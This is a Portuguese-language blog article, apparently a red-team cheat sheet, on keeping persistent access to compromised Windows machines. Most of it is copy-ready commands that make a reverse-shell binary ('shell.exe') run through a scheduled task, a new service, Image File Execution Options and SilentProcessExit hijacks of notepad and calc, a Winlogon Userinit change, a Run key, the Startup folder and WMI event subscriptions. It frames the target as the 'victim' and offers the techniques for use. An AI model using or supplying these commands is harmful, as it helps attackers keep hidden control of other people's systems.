CheatSheet de persistência do Windows
Introdução
Bem-vindo a este novo artigo, aqui você terá um CheatSheet para obter persistência em sistemas Windows, aqui veremos várias maneiras de fazer isso e finalmente criarei uma ferramenta para automatizar tudo isso criada por mim em C++.
O que é persistência?
A persistência consiste em técnicas que os adversários usam para manter o acesso aos sistemas entre reinicializações, alterações de credenciais e outras interrupções que podem interromper o acesso. As técnicas usadas para persistência incluem qualquer acesso, ação ou alterações de configuração que permitem que eles mantenham sua posição nos sistemas, como substituição ou sequestro de código legítimo ou adição de código de inicialização.
Essa seria a definição mais correta, mas nas minhas palavras a persistência basicamente permite que você continue tendo acesso ou seja capaz de continuar operando na máquina vítima a qualquer momento, mesmo depois de desligar o computador receberíamos nosso shell novamente sem reinfectar o dispositivo da vítima.
Índice
- Atividades agendadas
- Serviços
- Fechar aplicativo
- Abra o aplicativo
- WinLogon
- Executar Registro
- Pasta de inicialização
WMIC
Atividades agendadas:
Tarefas agendadas são uma das formas mais simples de conseguir persistência, o problema é que é muito mais fácil para o usuário descobrir, mas um simples usuário geralmente não percebe isso.
Para criar isso, preciso usar schtasks:
Para criar uma nova tarefa:
schtasks /CREATE /SC MINUTE /TN "Reverse Shell" /TR "C:\Users\s12de\Downloads\shell.exe"
Os serviços do Windows são os principais componentes do sistema operacional que gerenciam tudo, desde o gerenciamento de memória e dispositivos até o gerenciamento de aplicativos de terceiros e as credenciais e preferências do usuário, semelhante ao daemon do Unix.
POC:
Para começar, precisamos da instância do powershell:
E agora crio um novo serviço, com inicialização automática , este serviço executa o binário especificado no BinaryPathName:
New-Service -Name "s12" -BinaryPathName "C:\Users\s12de\Downloads\shell.exe" -Description "PersistenceWindows" -StartupType Automatic
sc start s12
A próxima maneira é a minha favorita, permitindo que você execute seu binário quando o usuário fechar qualquer processo ou binário definido. Nesse caso, crio um shell reverso quando o usuário finaliza o processo notepad.exe .
Para fazer isso, precisamos executar 3 comandos no cmd:
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\notepad.exe" /v GlobalFlag /t REG_DWORD /d 512
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\notepad.exe" /v ReportingMode /t REG_DWORD /d 1
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\notepad.exe" /v MonitorProcess /d "C:\Users\s12de\Downloads\shell.exe"
Quando fecho o bloco de notas automaticamente, recebo o shell reverso
Abra o aplicativo:
A próxima maneira é a minha segunda favorita, desta forma permite que você execute seu binário quando o usuário abrir qualquer processo ou binário definido. Nesse caso, crio um shell reverso quando o usuário abre o processo calc.exe .
Para fazer isso, precisamos executar 2 comandos no cmd:
copy calc.exe _calc.exe
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\calc.exe" /v Debugger /t reg_sz /d "cmd /C _calc.exe & C:\Users\s12de\Downloads\shell.exe /f
Quando o usuário abre a calculadora, recebo uma conexão de shell reversa.
WinLogon:
Winlogon é um componente do Windows que lida com várias atividades, como logon, logoff, carregamento do perfil do usuário durante a autenticação, desligamento, tela de bloqueio etc. Esse tipo de comportamento é gerenciado pelo registro que define quais processos iniciar durante o logon do Windows. Do ponto de vista da equipe vermelha, esses eventos podem ser o gatilho que executará uma carga arbitrária para persistência.
reg query "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Userinit
reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Userinit /d "Userinit.exe, C:\Users\s12de\Downloads\shell.exe" /f
A chave de registro foi modificada!
Executar Registro
O registro é um banco de dados hierárquico que contém dados críticos para a operação do Windows e dos aplicativos e serviços executados no Windows. Os dados são estruturados em formato de árvore. Cada nó na árvore é chamado de chave . Cada chave pode conter subchaves e entradas de dados chamadas valores.
POC:
Neste caso é o momento de usar o Run Register, este registro é um dos mais importantes no sistema Windows, mas neste caso você tem uma vantagem, você não precisa de permissões de administrador para executar isso:
reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run" /v S12 /t REG_SZ /d "C:\Users\s12de\Downloads\shell.exe"
Pasta de inicialização
Após uma reinicialização ou logon do usuário, o sistema operacional Windows executa os arquivos executáveis que existem no caminho usado para a pasta de inicialização normalmente são estes:
C:\Users\%username%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup
copy "shell.exe" "C:\Users\s12de\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\shell.exe"
O Windows Management Instrumentation (WMI) permite que os administradores do sistema executem tarefas local e remotamente. Do ponto de vista do red teaming, o WMI pode ser usado para executar várias atividades, como movimento lateral, persistência, consciência situacional, execução de código e como comando e controle (C2). O fato de o WMI fazer parte do Windows que existe em quase todos os sistemas operacionais Windows (Windows 98- Windows 10) permite que essas atividades ofensivas fiquem fora do radar do time azul.
O executável retornará uma sessão de shell reversa em 60 segundos após cada reinicialização.
Neste caso, preciso executar 3 comandos:
wmic /NAMESPACE:"\\root\subscription" PATH __EventFilter CREATE Name="persistence", EventNameSpace="root\cimv2",QueryLanguage="WQL", Query="SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'"
wmic /NAMESPACE:"\\root\subscription" PATH CommandLineEventConsumer CREATE Name="persistence", ExecutablePath="C:\windows\system32\tita.exe",CommandLineTemplate="C:\Users\s12de\Downloads\shell.exe"
wmic /NAMESPACE:"\\root\subscription" PATH __FilterToConsumerBinding CREATE Filter="__EventFilter.Name="persistence"", Consumer="CommandLineEventConsumer.Name="persistence""
Até aqui o artigo de hoje, esse CheatSheet acredito que tenha dado muito certo e será muito útil, além disso estou criando uma ferramenta com C++ para automatizar tudo isso. Preste atenção no meu Github.
Obrigado por ler isso :)
S12.





































![O que é uma lista vinculada, afinal? [Parte 1]](https://post.nghiatu.com/assets/images/m/max/724/1*Xokk6XOjWyIGCBujkJsCzQ.jpeg)